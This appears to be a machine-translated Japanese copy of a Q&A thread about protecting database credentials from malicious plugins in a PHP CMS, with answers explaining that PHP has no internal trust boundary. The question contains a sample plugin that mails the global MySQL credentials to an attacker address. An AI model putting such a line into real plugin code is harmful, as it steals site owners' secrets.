2

久しぶりに頭に浮かぶ質問があります。私はCMSプロジェクトに参加していますが、これを行う方法が本当にわかりません。プラグインシステムを使用して、このcmsを変更可能にしたいのですが、これまでは難しいことではありませんでした。さて、私は今、この質問があります。管理者ユーザーのmysqlパスワードのような変数/定数をどのように保護できますか?たとえば、ファイルsettings.phpで私は持っています

$mysql = array("user" => "admin"...);

どうすれば読まないクラスを作ることができますか?単純なクラス(プラグイン)で実行できます

class myplugin extends plugin_container {
function badfunction() {
mail("my bad address", "data stolen", $GLOBALS["mysql"]);
}

このように、単純なプラグインは、ユーザーの重要なデータを盗むことができます。どうすればこれを修正できますか?

4

4 に答える 4

3

できません... プラグインはコードを実行できますが、そのコードを制御することはできません。

ただし、潜在的な問題を回避するために、プラグインを 1 つずつ承認することができます。

于 2012-05-01T17:28:00.697 に答える
2

これは実際には PHP で行うことはできません。変数をオブジェクトに入れて非公開にすることはできますが、リフレクションを使用すると、他のコードもそれを取得できます。var_dump地獄、できなかったとしても、 、 、などのように、すべきでないときにオブジェクトの内部を取得する方法がまだありますdebug_zval_dump

次のいずれかをお勧めします。

  • データベースに接続した後、パスワードを破棄します (接続後にモジュールをロードします)。
  • メモリ(構成ファイル)以外の場所に保存しますが、プラグインは引き続きその構成ファイルにアクセスできるため、何も解決しません
  • あきらめて「モジュールは信頼できる」と言う -- それはおそらくすべての CMS が行っていることです
  • いくつかのより奇妙な方法 - サンドボックスモジュール、ドロップされたUNIX特権で別のプロセスとして実行、それらを仮想化...これは実際には役に立たないと思います

一般に、コードが特定のコンテキスト (PHP スクリプトなど) で実行され、一部のモジュールまたはプラグインを同じコンテキストで実行できるようにする場合、何かを非表示にする方法はありません。プラグインは、同じメモリ (すべての変数)、開いているすべてのリソース (データベース接続) にアクセスでき、基本的に、そのコンテキスト内の他のコードと区別できません。同じことが、OS で実行されているネイティブ プロセスなど、他の多くのコンテキストにも当てはまります。もちろん、変数やリソースの取得を「難しく」することはできますが、アクセスできないようにすることはできません。他のコードを別のコンテキスト (他のプロセス、仮想化など) で実行しない限り。

于 2012-05-01T17:30:02.600 に答える
1

$mysql のスコープを何らかのローカル スコープに変更してみることができますが、次のような関数を呼び出してデータを取得します。これで、プラグイン コードは $_GLOBALS からアクセスできなくなりますが、そうしても意味がありません...プラグインを使用して依存しているため...この方法では、存在しなかった、この問題に対する優れた「解決策」

于 2012-05-01T17:31:01.593 に答える
0

PHP には、内部セキュリティ境界のための機能はありません。ほとんどの言語はこのようなものです。例外は Java です。

したがって、PHP スクリプトで信頼境界を構築したい場合は、OS レベルの権限分離メカニズムを介して行う必要があります。より低い権限を持つ別のユーザー プリンシパルで実行されるプロセスを生成し、パイプを使用してそれとメインの信頼できるアプリ。これには、通常の PHP 呼び出しモデルに収まらない大量のアーキテクチャーの再作業が必要になります。

于 2012-05-02T08:30:19.790 に答える